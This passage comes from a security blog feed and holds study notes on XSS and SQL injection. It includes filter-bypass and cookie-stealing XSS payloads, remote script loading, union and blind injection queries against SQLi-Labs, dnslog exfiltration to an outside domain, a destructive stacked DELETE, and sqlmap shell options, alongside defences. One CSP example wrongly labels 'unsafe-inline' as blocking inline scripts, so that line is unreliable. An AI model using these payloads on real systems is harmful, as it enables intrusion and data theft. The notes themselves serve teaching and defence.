--&gt;</span><span>&lt;</span><span>script</span><span>&gt;</span><span>alert</span><span>(</span><span>1</span><span>)&lt;/</span><span>script</span><span>&gt;</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h3>8.7 HTML 实体编码绕过<a href="#87-html-实体编码绕过"><span>#</span></a></h3><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>&lt;!-- HTML 实体编码绕过过滤 --&gt;</span></div></div><div><div><div>2</div></div><div><span>&lt;</span><span>a</span><span> </span><span>href</span><span>=</span><span>"javascript:alert(1)"</span><span>&gt;点击&lt;/</span><span>a</span><span>&gt;</span></div></div><div><div><div>3</div></div><div><span>&lt;!-- 或 --&gt;</span></div></div><div><div><div>4</div></div><div><span>&lt;</span><span>a</span><span> </span><span>href</span><span>=</span><span>"javasc&amp; #114;ipt:alert(1)"</span><span>&gt;点击&lt;/</span><span>a</span><span>&gt;</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h3>8.8 拉丁字母/特殊字符绕过<a href="#88-拉丁字母特殊字符绕过"><span>#</span></a></h3><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>&lt;!-- 使用拉丁字母替代 --&gt;</span></div></div><div><div><div>2</div></div><div><span>&lt;</span><span>ѕcript</span><span>&gt;alert(1)&lt;/</span><span>ѕcript</span><span>&gt;</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h3>8.9 提前嵌入反斜杠<a href="#89-提前嵌入反斜杠"><span>#</span></a></h3><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>&lt;</span><span>scr\ipt</span><span>&gt;alert(1)&lt;/</span><span>scr\ipt</span><span>&gt;</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h3>8.10 多行代码合并<a href="#810-多行代码合并"><span>#</span></a></h3><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>&lt;!-- 原始代码 --&gt;</span></div></div><div><div><div>2</div></div><div><span>&lt;</span><span>script</span><span>&gt;</span></div></div><div><div><div>3</div></div><div><span>function</span><span> </span><span>add</span><span><span>(</span><span>x</span><span>, </span><span>y</span><span>){</span></span></div></div><div><div><div>4</div></div><div><span>    </span><span>return</span><span><span> </span><span>x</span></span><span>+</span><span><span>y</span><span>;</span></span></div></div><div><div><div>5</div></div><div><span>}</span></div></div><div><div><div>6</div></div><div><span><span>document</span><span>.</span></span><span>write</span><span>(</span><span>add</span><span>(</span><span>2</span><span>,</span><span>3</span><span>));</span></div></div><div><div><div>7</div></div><div><span>&lt;/</span><span>script</span><span>&gt;</span></div></div><div><div><div>8</div></div><div><span>&lt;!-- 合并为一行 --&gt;</span></div></div><div><div><div>9</div></div><div><span>&lt;</span><span>script</span><span>&gt;</span><span>function</span><span> </span><span>add</span><span><span>(</span><span>x</span><span>,</span><span>y</span><span>){</span></span><span>return</span><span><span> </span><span>x</span></span><span>+</span><span><span>y</span><span>;}</span><span>document</span><span>.</span></span><span>write</span><span>(</span><span>add</span><span>(</span><span>2</span><span>,</span><span>3</span><span>));&lt;/</span><span>script</span><span>&gt;</span></div></div></code></pre><div><div></div><div></div></div></figure></div><hr /></section></section>
<section><h2>九、浏览器安全策略<a href="#九浏览器安全策略"><span>#</span></a></h2><section><h3>9.1 同源策略<a href="#91-同源策略"><span>#</span></a></h3><p><strong>判断同源的三个要素：</strong></p>

<table><thead><tr><th>要素</th><th>说明</th></tr></thead><tbody><tr><td><strong>协议</strong></td><td>http / https</td></tr><tr><td><strong>域名</strong></td><td>baidu.com / <a href="http://www.baidu.com" target="_blank">www.baidu.com</a></td></tr><tr><td><strong>端口</strong></td><td>80 / 443 / 9001</td></tr></tbody></table><p><strong>示例判断：</strong></p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>http://baidu.com/              ← 基准</span></div></div><div><div><div>2</div></div><div><span>http://www.baidu.com           ❌ 域名不同</span></div></div><div><div><div>3</div></div><div><span>http://baidu.com:9001          ❌ 端口不同</span></div></div><div><div><div>4</div></div><div><span>https://baidu.com              ❌ 协议不同</span></div></div><div><div><div>5</div></div><div><span>http://baidu.com/abc/          ✅ 同源（路径不影响）</span></div></div><div><div><div>6</div></div><div><span>http://baidu.com/lab/          ✅ 同源（路径不影响）</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h3>9.2 跨域限制<a href="#92-跨域限制"><span>#</span></a></h3><p><strong>受跨域限制：</strong></p>

<table><thead><tr><th>限制项</th><th>说明</th></tr></thead><tbody><tr><td>Cookie、LocalStorage、IndexDB</td><td>无法跨域读取</td></tr><tr><td>修改 iframe 中其他网站的 DOM</td><td>无法跨域修改</td></tr><tr><td>AJAX 请求</td><td>默认无法跨域发起</td></tr></tbody></table><p><strong>不受跨域限制：</strong></p>

<table><thead><tr><th>操作</th><th>说明</th></tr></thead><tbody><tr><td>跨域提交表单</td><td><code>&lt;form action="..."&gt;</code></td></tr><tr><td>跨域引入资源</td><td><code>&lt;img&gt;</code>、<code>&lt;iframe&gt;</code>、<code>&lt;link&gt;</code>、<code>&lt;script&gt;</code></td></tr></tbody></table></section><section><h3>9.3 HttpOnly<a href="#93-httponly"><span>#</span></a></h3>

<table><thead><tr><th>属性</th><th>说明</th></tr></thead><tbody><tr><td><strong>HttpOnly</strong></td><td>Cookie 标记 HttpOnly 后，<strong>JS 无法读取该 Cookie</strong>，只能由浏览器在 HTTP 请求中自动携带</td></tr><tr><td>作用</td><td>防止 XSS 窃取 Cookie（但无法防止 CSRF）</td></tr></tbody></table><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>// PHP 设置 HttpOnly Cookie</span></div></div><div><div><div>2</div></div><div><span>setcookie</span><span>(</span><span>"name"</span><span><span>,</span><span> </span></span><span>"value"</span><span><span>,</span><span> </span></span><span>time</span><span><span>()</span><span>+</span></span><span>3600</span><span><span>,</span><span> </span></span><span>"/"</span><span><span>,</span><span> </span></span><span>""</span><span><span>,</span><span> </span></span><span>false</span><span><span>,</span><span> </span></span><span>true</span><span>);</span></div></div><div><div><div>3</div></div><div><span>//                                                                   ↑</span></div></div><div><div><div>4</div></div><div><span>//                                                              HttpOnly</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h3>9.4 常见疑问<a href="#94-常见疑问"><span>#</span></a></h3><p><strong>问：</strong> XSS 代码植入后，将 Cookie 发送到 XSS 平台（不同源网站），为什么能成功？</p><p><strong>答：</strong></p><ul>
<li>XSS 平台接收 Cookie 是通过 <strong>跨域请求</strong>（如 <code>&lt;img src="xss平台地址?cookie=xxx"&gt;</code>）</li>
<li>这种跨域请求<strong>不受同源策略限制</strong>（通过 <code>&lt;img&gt;</code>、<code>&lt;script&gt;</code> 等标签引入资源是允许的）</li>
<li>Cookie 的发送是通过<strong>当前页面</strong>的 JS 读取后拼接到 URL 中，不是浏览器自动携带 Cookie 跨域</li>
</ul><hr /></section></section>
<section><h2>十、XSS 防护思路<a href="#十xss-防护思路"><span>#</span></a></h2><section><h3>10.1 防护措施<a href="#101-防护措施"><span>#</span></a></h3>

<table><thead><tr><th>措施</th><th>说明</th></tr></thead><tbody><tr><td><strong>白名单策略</strong></td><td>只允许指定的标签和事件属性</td></tr><tr><td><strong>黑名单策略</strong></td><td>过滤危险标签和事件（不可靠，易绕过）</td></tr><tr><td><strong>HTML 实体编码</strong></td><td>对 <code>&lt;</code>、<code>&gt;</code>、<code>"</code>、<code>'</code>、<code>/</code> 进行编码</td></tr><tr><td><strong>HttpOnly</strong></td><td>下发 Cookie 时添加 HttpOnly 属性</td></tr><tr><td><strong>CSP</strong></td><td>设置 Content-Security-Policy，限制脚本执行来源</td></tr><tr><td><strong>XSS 过滤框架</strong></td><td>使用成熟的防 XSS 框架（如 OWASP 的 ESAPI）</td></tr><tr><td><strong>富文本编辑器</strong></td><td>采用成熟的富文本前端组件（如 UEditor、TinyMCE）</td></tr></tbody></table></section><section><h3>10.2 关键防护代码<a href="#102-关键防护代码"><span>#</span></a></h3><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>// PHP 输出时进行 HTML 实体编码</span></div></div><div><div><div>2</div></div><div><span>echo</span><span> </span><span>htmlspecialchars</span><span>(</span><span>$input</span><span><span>,</span><span> </span></span><span>ENT_QUOTES</span><span><span>,</span><span> </span></span><span>'UTF-8'</span><span>);</span></div></div><div><div><div>3</div></div><div>
</div></div><div><div><div>4</div></div><div><span>// PHP 设置 HttpOnly Cookie</span></div></div><div><div><div>5</div></div><div><span>setcookie</span><span>(</span><span>'session_id'</span><span><span>,</span><span> </span></span><span>$value</span><span><span>,</span><span> </span><span>[</span></span></div></div><div><div><div>6</div></div><div><span>    </span><span>'httponly'</span><span><span> </span><span>=&gt;</span><span> </span></span><span>true</span><span>,</span></div></div><div><div><div>7</div></div><div><span>    </span><span>'secure'</span><span><span> </span><span>=&gt;</span><span> </span></span><span>true</span><span><span>,</span><span>   </span></span><span>// 仅 HTTPS 传输</span></div></div><div><div><div>8</div></div><div><span>    </span><span>'samesite'</span><span><span> </span><span>=&gt;</span><span> </span></span><span>'Strict'</span></div></div><div><div><div>9</div></div><div><span>]);</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h3>10.3 CSP 示例<a href="#103-csp-示例"><span>#</span></a></h3><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>&lt;!-- 仅允许来自同源的脚本 --&gt;</span></div></div><div><div><div>2</div></div><div><span>&lt;</span><span>meta</span><span> </span><span>http-equiv</span><span>=</span><span>"Content-Security-Policy"</span><span> </span><span>content</span><span>=</span><span>"script-src 'self'"</span><span>&gt;</span></div></div><div><div><div>3</div></div><div>
</div></div><div><div><div>4</div></div><div><span>&lt;!-- 仅允许来自特定域名的脚本 --&gt;</span></div></div><div><div><div>5</div></div><div><span>&lt;</span><span>meta</span><span> </span><span>http-equiv</span><span>=</span><span>"Content-Security-Policy"</span><span> </span><span>content</span><span>=</span><span>"script-src 'self' https://cdn.example.com"</span><span>&gt;</span></div></div><div><div><div>6</div></div><div>
</div></div><div><div><div>7</div></div><div><span>&lt;!-- 禁止内联脚本执行 --&gt;</span></div></div><div><div><div>8</div></div><div><span>&lt;</span><span>meta</span><span> </span><span>http-equiv</span><span>=</span><span>"Content-Security-Policy"</span><span> </span><span>content</span><span>=</span><span>"script-src 'self' 'unsafe-inline'"</span><span>&gt;</span></div></div></code></pre><div><div></div><div></div></div></figure></div><hr /></section></section>
<section><h2>📌 快速参考卡片<a href="#-快速参考卡片"><span>#</span></a></h2><section><h3>常用 Payload<a href="#常用-payload"><span>#</span></a></h3><div><div><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>&lt;!-- 基础弹窗 --&gt;</span></div></div><div><div><div>2</div></div><div><span>&lt;</span><span>script</span><span>&gt;</span><span>alert</span><span>(</span><span>1</span><span>)&lt;/</span><span>script</span><span>&gt;</span></div></div><div><div><div>3</div></div><div><span>&lt;</span><span>script</span><span>&gt;</span><span>alert</span><span><span>(</span><span>document</span><span>.</span></span><span>cookie</span><span>)&lt;/</span><span>script</span><span>&gt;</span></div></div><div><div><div>4</div></div><div><span>&lt;!-- 事件触发 --&gt;</span></div></div><div><div><div>5</div></div><div><span>&lt;</span><span>img</span><span> </span><span>src</span><span>=</span><span>"x"</span><span> </span><span>onerror</span><span>=</span><span>"</span><span>alert</span><span>(</span><span>1</span><span>)</span><span>"</span><span>&gt;</span></div></div><div><div><div>6</div></div><div><span>&lt;</span><span>body</span><span> </span><span>onload</span><span>=</span><span>"</span><span>alert</span><span>(</span><span>1</span><span>)</span><span>"</span><span>&gt;</span></div></div><div><div><div>7</div></div><div><span>&lt;</span><span>input</span><span> </span><span>onfocus</span><span>=</span><span>"</span><span>alert</span><span>(</span><span>1</span><span>)</span><span>"</span><span> </span><span>autofocus</span><span>&gt;</span></div></div><div><div><div>8</div></div><div>
</div></div><div><div><div>9</div></div><div><span>&lt;!-- 超链接 --&gt;</span></div></div><div><div><div>10</div></div><div><span>&lt;</span><span>a</span><span> </span><span>href</span><span>=</span><span>"javascript:alert(1)"</span><span>&gt;点击&lt;/</span><span>a</span><span>&gt;</span></div></div><div><div><div>11</div></div><div><span>&lt;!-- SVG --&gt;</span></div></div><div><div><div>12</div></div><div><span>&lt;</span><span>svg</span><span> </span><span>onload</span><span>=</span><span>"alert(1)"</span><span>&gt;</span></div></div><div><div><div>13</div></div><div>
</div></div><div><div><div>14</div></div><div><span>&lt;!-- 远程加载 --&gt;</span></div></div><div><div><div>15</div></div><div><span>&lt;</span><span>script</span><span> </span><span>src</span><span>=</span><span>"https://xss.pt/xxx.js"</span><span>&gt;&lt;/</span><span>script</span><span>&gt;</span></div></div></code></pre><div><div></div><div></div></div></figure><div></div></div><span>展开</span><span>收起</span></div></div></section><section><h3>XSS 类型判断<a href="#xss-类型判断"><span>#</span></a></h3><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>反射型：恶意代码在 URL 中，一次性</span></div></div><div><div><div>2</div></div><div><span>存储型：恶意代码在数据库中，持久性</span></div></div><div><div><div>3</div></div><div><span>DOM型：恶意代码在 URL 中，纯前端触发，不与服务器交互</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h3>绕过速查<a href="#绕过速查"><span>#</span></a></h3><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>大小写    → &lt;ScRiPt&gt;alert(1)&lt;/ScRiPt&gt;</span></div></div><div><div><div>2</div></div><div><span>双写      → &lt;scr&lt;script&gt;ipt&gt;alert(1)&lt;/scr&lt;/script&gt;ipt&gt;</span></div></div><div><div><div>3</div></div><div><span>编码      → 实体编码、Unicode、Base64</span></div></div><div><div><div>4</div></div><div><span>生僻元素  → svg、details、video、audio</span></div></div><div><div><div>5</div></div><div><span>注释      → 用 // 或 &lt;!-- --&gt; 闭合</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h3>防御速查<a href="#防御速查"><span>#</span></a></h3><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>输入过滤  → 过滤危险标签和事件</span></div></div><div><div><div>2</div></div><div><span>输出编码  → htmlspecialchars()</span></div></div><div><div><div>3</div></div><div><span>Cookie    → HttpOnly + Secure + SameSite</span></div></div><div><div><div>4</div></div><div><span>CSP       → 限制脚本来源</span></div></div><div><div><div>5</div></div><div><span>富文本    → 使用成熟编辑器</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section></section>]]></content>
    </entry>
    <entry>
      <id>https://blog.emberlag.com/posts/sql-injection/</id>
      <title type="text">SQL 注入</title>
      <published>2026-09-13T14:46:00.000Z</published>
      <updated>2026-09-13T14:46:00.000Z</updated>
      <author><name>3mb3rl4g</name></author>
      <link rel="alternate" href="https://blog.emberlag.com/posts/sql-injection/"/>
      <summary type="text">联合查询、报错、布尔/时间盲注、宽字节与堆叠注入等注入手法，附 sqlmap 用法。</summary>
      <content type="html"><![CDATA[<section><h1>sqli<a href="#sqli"><span>#</span></a></h1><section><h2>什么是sqli<a href="#什么是sqli"><span>#</span></a></h2><p>sql注入，攻击者构造并提交sql代码片段作为参数拼接到后端查询</p><ul>
<li>
<section><h3>原理<a href="#原理"><span>#</span></a></h3><ul>
<li>由于后端对前端输入参数缺乏正确处理，导致攻击者构造并提交sql代码片段作为参数拼接到后端查询</li>
</ul></section>
</li>
<li>
<section><h3>分类<a href="#分类"><span>#</span></a></h3><ul>
<li>有回显、无回显</li>
<li>数字型、字符型</li>
<li>URL、表单、头部注入</li>
</ul></section>
</li>
<li>
<section><h3>有什么危害<a href="#有什么危害"><span>#</span></a></h3><ul>
<li>条件满足的情况下：
<ol>
<li>从技术上来说，未授权增删改查数据库内容，包括拖库，删库，读写系统文件，执行命令等等</li>
<li>从影响上来说，盗窃系统机密数据，能篡改网站页面，接管服务器，篡改系统交易数据等等</li>
</ol>
</li>
</ul></section>
</li>
<li>
<section><h3>利用条件<a href="#利用条件"><span>#</span></a></h3><ul>
<li>
<p>information_schema</p>
</li>
<li>
<p>联合查询</p>
</li>
<li>
<p>文件读写</p>
<ul>
<li>2个前提：</li>
</ul>
<ol>
<li>知道绝对路径</li>
<li><code>secure_File_priv</code> 开关需要是打开状态</li>
</ol>
<ul>
<li>读文件<code>select load_file("路径和文件名");</code>load_file()需要打开一个读写文件的配置secure-file-priv ；load data infile 和 load data local infile ，不受secure-file-priv 的限制后两者和SQLi关系不大load data infile ：可以导入文件中的表数据到表中LOAD DATA INFILE ‘/home/zhuxu/1.txt’ INTO TABLE tmp_loaddata FIELDS TERMINATED BY ’,‘;load data local infile ;与load data infile作用类似</li>
<li>写文件</li>
</ul>
</li>
</ul></section>
</li>
</ul><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>SELECT</span><span> </span><span>"12\n3"</span><span> </span><span>INTO</span><span> OUTFILE </span><span>"c:/123.txt"</span><span>;</span></div></div><div><div><div>2</div></div><div><span>SELECT</span><span> </span><span>"1230\nabc"</span><span> </span><span>INTO</span><span> DUMPFILE </span><span>"c:/123.txt"</span><span>;</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>注：dumpfile可以处理非可见字符。要使用联合查询写文件，不能使用and或者or拼接写文件 <strong>secure_file_priv</strong>默认是NULL，可以通过my.conf文件mysqld一栏里进行配置，配置完成后，重启才会生效。select @@global.secure_file_priv;各个选项值有什么用</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span><span>        </span></span><span>1. 设置为空，那么所有路径均可进行导入导出</span></div></div><div><div><div>2</div></div><div><span><span>        </span></span><span>2. 设置为一个目录名字，那么只允许在该路径下导入导出</span></div></div><div><div><div>3</div></div><div><span><span>        </span></span><span>3. 设置为null（默认），那么禁止所有导入导出</span></div></div><div><div><div>4</div></div><div><span>- 报错注入</span></div></div><div><div><div>5</div></div><div><span>- dnslog</span></div></div></code></pre><div><div></div><div></div></div></figure></div><ul>
<li>
<section><h3>如何挖掘<a href="#如何挖掘"><span>#</span></a></h3><ul>
<li>找到一个动态网站（.php?xx= / .jsp?xx=/ .asp?xx=）</li>
<li>伪静态 <a href="http://xxx.com/news/id/1.html" target="_blank">http://xxx.com/news/id/1.html</a> 可能等于 <a href="http://xxx.com/news.php?id=1" target="_blank">http://xxx.com/news.php?id=1</a></li>
<li>罗列潜在注入点</li>
<li>依次对注入点进行注入尝试
<ol>
<li>首先给不同参数，观察返回的结果</li>
<li>猜测后端的sql查询语句，以及注入点sql语句在模板中的位置</li>
<li>如果有回显，考虑联合查询</li>
<li>如果没回显，但是有报错，考虑报错注入</li>
<li>如果都没有，考虑布尔盲注和时间盲注</li>
<li>如果以上都不行，考虑换个模块的注入点</li>
</ol>
</li>
</ul></section>
</li>
<li>
<section><h3>修复思路<a href="#修复思路"><span>#</span></a></h3><ul>
<li>使用预编译技术</li>
<li>使用成熟的防注入框架</li>
</ul></section>
</li>
</ul></section><section><h2>联合查询注入<a href="#联合查询注入"><span>#</span></a></h2><section><h3>思路<a href="#思路"><span>#</span></a></h3><ol>
<li>找到注入点</li>
<li>猜测后端查询语句</li>
<li>判断类型</li>
<li>判断列数</li>
<li>判断回显位</li>
<li>查库名</li>
<li>查表名和字段名</li>
<li>查数据</li>
</ol></section><section><h3>步骤<a href="#步骤"><span>#</span></a></h3><ol>
<li>判断注入点判断哪些地方会和后端数据库进行交互，则有可能成为注入点</li>
<li>猜测查询语句</li>
</ol><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>select</span><span> * </span><span>from</span><span> t_xx </span><span>where</span><span><span> col_xx </span><span>=</span><span> </span></span><span>1</span><span>;</span></div></div></code></pre><div><div></div><div></div></div></figure></div><ol>
<li>判断类型参数改成2-1，看查询结果是否对应1的结果</li>
</ol><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>http://xxx.xxx.xxx.xxx:xxx/sql/xxx/index.php?id=2-1</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>能计算就是数字型，否则就是字符型</p><ol>
<li>判断列数用order by判断列数</li>
</ol><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>select</span><span> * </span><span>from</span><span> t_xx </span><span>where</span><span><span> col_xx </span><span>=</span><span> </span></span><span>1</span><span> </span><span>order by</span><span> </span><span>10</span><span>%</span><span>23</span><span>;</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>抽出参数</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>1</span><span> </span><span>order by</span><span> </span><span>10</span><span>%</span><span>23</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>注入参数，拼接到url后面用二分法判断列数，直到一个尽可能大的列数不报错，就能判断列数就是他了</p><ol>
<li>判断回显位</li>
</ol><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>select</span><span> * </span><span>from</span><span> t_xx </span><span>where</span><span><span> col_xx </span><span>=</span><span> </span></span><span>1</span><span> </span><span>union</span><span> </span><span>select</span><span> </span><span>1</span><span>,</span><span>2</span><span>,</span><span>3</span><span>%</span><span>23</span><span>;</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>查出记录可能有多条，但是前端网页可能不能全部显示，要想办法让左边查不出结果，给不存在的条件，如id改成-1后续就在回显位查出数据并显示</p><ol>
<li>查库名</li>
</ol><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>SELECT</span><span> * </span><span>FROM</span><span> t_xx </span><span>WHERE</span><span><span> col_xx </span><span>=</span><span> -</span></span><span>1</span><span> </span><span>union</span><span> </span><span>select</span><span> </span><span>1</span><span>,</span><span>2</span><span>,</span><span>database</span><span>()%</span><span>23</span><span>;</span></div></div></code></pre><div><div></div><div></div></div></figure></div><ol>
<li>查表名</li>
</ol><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>http</span><span>://</span><span>172</span><span>.</span><span>16</span><span>.</span><span>116</span><span>.</span><span>75</span><span>:</span><span>13980</span><span>/SQLi-Labs/Less-</span><span>1</span><span>/</span><span>index</span><span>.</span><span>php</span><span><span>?id</span><span>=</span><span>-</span></span><span>1</span><span> </span><span>union</span><span> </span><span>SELECT</span><span> </span><span>1</span><span>,</span><span>2</span><span>,group_concat(table_name) </span><span>FROM</span><span> </span><span>information_schema</span><span>.</span><span>tables</span><span> </span><span>WHERE</span><span><span> table_schema</span><span>=</span></span><span>"security"</span><span>;%</span><span>23</span></div></div></code></pre><div><div></div><div></div></div></figure></div><ol>
<li>查列名</li>
</ol><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>http</span><span>://</span><span>172</span><span>.</span><span>16</span><span>.</span><span>116</span><span>.</span><span>75</span><span>:</span><span>13980</span><span>/SQLi-Labs/Less-</span><span>1</span><span>/</span><span>index</span><span>.</span><span>php</span><span><span>?id</span><span>=</span><span>-</span></span><span>1</span><span> </span><span>union</span><span> </span><span>SELECT</span></div></div><div><div><div>2</div></div><div><span>1</span><span>,</span><span>2</span><span>,group_concat(column_name) </span><span>FROM</span><span> </span><span>information_schema</span><span>.</span><span>columns</span><span> </span><span>WHERE</span></div></div><div><div><div>3</div></div><div><span><span>table_schema</span><span>=</span></span><span>"security"</span><span> </span><span>and</span><span><span> table_name</span><span>=</span></span><span>"users"</span><span>;%</span><span>23</span></div></div></code></pre><div><div></div><div></div></div></figure></div><ol>
<li>查数据</li>
</ol><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>http</span><span>://</span><span>172</span><span>.</span><span>16</span><span>.</span><span>116</span><span>.</span><span>75</span><span>:</span><span>13980</span><span>/SQLi-Labs/Less-</span><span>1</span><span>/</span><span>index</span><span>.</span><span>php</span><span><span>?id</span><span>=</span><span>-</span></span><span>1</span><span> </span><span>union</span><span> </span><span>SELECT</span></div></div><div><div><div>2</div></div><div><span>1</span><span>,</span><span>2</span><span>,group_concat(concat_ws(</span><span>"=&gt;"</span><span>, id,username,</span><span>password</span><span>)) </span><span>FROM</span><span> users;%</span><span>23</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section></section><section><h2>报错注入<a href="#报错注入"><span>#</span></a></h2><section><h3>如何进行报错注入<a href="#如何进行报错注入"><span>#</span></a></h3><ol>
<li>判断注入点</li>
<li>猜测查询语句</li>
</ol><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>select</span><span> * </span><span>from</span><span> t_xx </span><span>where</span><span><span> c_xx </span><span>=</span><span> </span></span><span>'1'</span><span> </span><span>LIMIT</span><span> </span><span>0</span><span>,</span><span>1</span></div></div></code></pre><div><div></div><div></div></div></figure></div><ol>
<li>判断闭合符’/”/)</li>
<li>看有无报错，能否通过报错信息带出查询的内容</li>
<li>如果报错payload需要联合查询则需要判断列数，如果不需要联合查询则不需要判断列数</li>
</ol></section></section><section><h2>布尔盲注<a href="#布尔盲注"><span>#</span></a></h2><p>无回显，无报错用盲注</p><p>and 1有结果</p><p>and 0无结果</p><p>无结果=》不成立</p><p>有结果=》成立</p><p>关键函数：length()、substr()、ascii()</p><p><a href="http://172.16.116.75:13980/sqli-labs/Less-8/?id=1" target="_blank">http://172.16.116.75&lt;13980&gt;/sqli-labs/Less-8/?id=1</a>’ and ascii(substr(database(),2,1))&gt;10%23</p></section><section><h2>时间盲注<a href="#时间盲注"><span>#</span></a></h2><p>基础：if(,,)，sleep()，and、or、benchmark()、</p><p>无回显无报错且响应内容无差异，则只能用延时盲注</p><p>原理：构造布尔表达式，根据结果不同反推字符</p><p>思路步骤：</p><ol>
<li>and sleep()反推闭合符</li>
<li>构造布尔表达式，反推字符</li>
</ol></section><section><h2>dnslog注入<a href="#dnslog注入"><span>#</span></a></h2><p><a href="https://dnslog.ink/" target="_blank">https://dnslog.ink/</a></p><p>加快注入速度</p><p>dnslog服务</p><ol>
<li>获取一个dnslog平台的子域名</li>
<li>SELECT load_file(concat(”\”,(select database()),“.9d238749.digimg.store\aa”))</li>
<li>将上述语句注入到注入点，然后到dnslog平台上获取数据</li>
</ol></section><section><h2>宽字节注入<a href="#宽字节注入"><span>#</span></a></h2><p>基础：西欧字母符号，通过1个字节来表示。东亚字符通过至少两个字节来表示。GBK编码用两个字节来表示中文区字符。其编码范围：8140－FEFE（高字节从81到FE，低字节从40到FE）。</p><ul>
<li>条件
<ul>
<li>后台代码使用GBK编码连接数据库的时候</li>
</ul>
</li>
<li>原理
<ul>
<li>编码转换存在着单字符被合并的情形</li>
<li>反斜杠对应ascii编码5c，是单字节的</li>
<li>在5c前再加入一个单字节字符dd（范围可以是81到FE之间），就成了dd5c</li>
<li>而当后端使用GBK编码的时候，会将合理的两个单字节ANSCII字符解析成一个双字节的GBK编码字符。</li>
</ul>
</li>
</ul></section><section><h2>堆叠注入<a href="#堆叠注入"><span>#</span></a></h2><p>多注入1个语句，在注入的两个语句中尝试使用分号分隔即可。</p><p>例子，谨慎参考</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>192</span><span>.</span><span>168</span><span>.</span><span>68</span><span>.</span><span>131</span><span>/SQLi-Labs/Less-</span><span>38</span><span><span>/?id </span><span>=</span><span> </span></span><span>1</span><span>';delete from users where id=1%23</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>危害巨大，可改库</p></section><section><h2>like注入<a href="#like注入"><span>#</span></a></h2><p>猜测搜索功能点的查询语句</p><p>select * from news where content like ‘%搜索的内容%’;</p><p>注入payload</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>搜索的内容%</span><span>' order by 10#</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h2>http头部注入<a href="#http头部注入"><span>#</span></a></h2><p>sqli-labs-18</p><p>模板：insert into t_xx values(‘xx’, ‘666’, ‘ipxxx’)</p><p>payload：xx’,EXTRACTVALUE(‘anything’,concat(0x7e, DATABASE())),‘xx</p><p>如果猜测到后端有SQL查询，而且会带入http请求头中的字段内容，那么该功能点可能存在SQL注入。</p><p>头部注入通常用在后端记录日志入库的场景。</p></section><section><h2>sqlmap<a href="#sqlmap"><span>#</span></a></h2><ul>
<li>
<section><h3>有哪些功能？能够对多种不同数据库进行不同类型的注入，比如：<a href="#有哪些功能能够对多种不同数据库进行不同类型的注入比如"><span>#</span></a></h3><ul>
<li>对不同数据库管理系统进行注入</li>
<li>查库表列和数据的功能</li>
<li>注入读写文件</li>
<li>注入执行系统命令等</li>
</ul></section>
</li>
<li>
<p>各个选项什么意思-h 获取帮助-hh 获取详细帮助—is-dba 判断当前用户是否dba—privileges 查看权限—current-user 查看当前用户—passwords 查看密码—os-shell 获取os-shell—level n ，n指探测等级，数值越高，等级越高，默认为1。在不确定哪个payload或参数为注入点时，为了保证全面性，建议使用更高的level值，2级会探测cookie，3级会探测user-agent、refer头-v n ，参数指定回显信息的复杂度，n属于[0~6]，3可以查看payload—batch 全部采用默认选择</p>
</li>
<li>
<section><h3>需要注意什么<a href="#需要注意什么"><span>#</span></a></h3><ol>
<li>不要使用拖库的选项</li>
<li>如果对手工没有绝对的自信，就不要注入有修改功能的注入点</li>
</ol></section>
</li>
<li>
<section><h3>典型使用步骤：<a href="#典型使用步骤"><span>#</span></a></h3><ul>
<li>URL注入
<ol>
<li>寻找注入点截取访问链接，得到注入点：<a href="http://xxxx" target="_blank">http://xxxx</a></li>
<li>查询库名打开cmd，切换目录到sqlmap执行命令：python sqlmap.py -u “<a href="http://xxxx" target="_blank">http://xxxx</a>” —current-db</li>
<li>指定库名查表名python sqlmap.py -u “<a href="http://xxxx" target="_blank">http://xxxx</a>” -D 库名 —tables</li>
<li>指定库名、表名查列名python sqlmap.py -u “注入点” -D 库名 -T 表名 —columns</li>
<li>获取sql-shellpython sqlmap.py -u “注入点” —sql-shell获得sql-shell提示符</li>
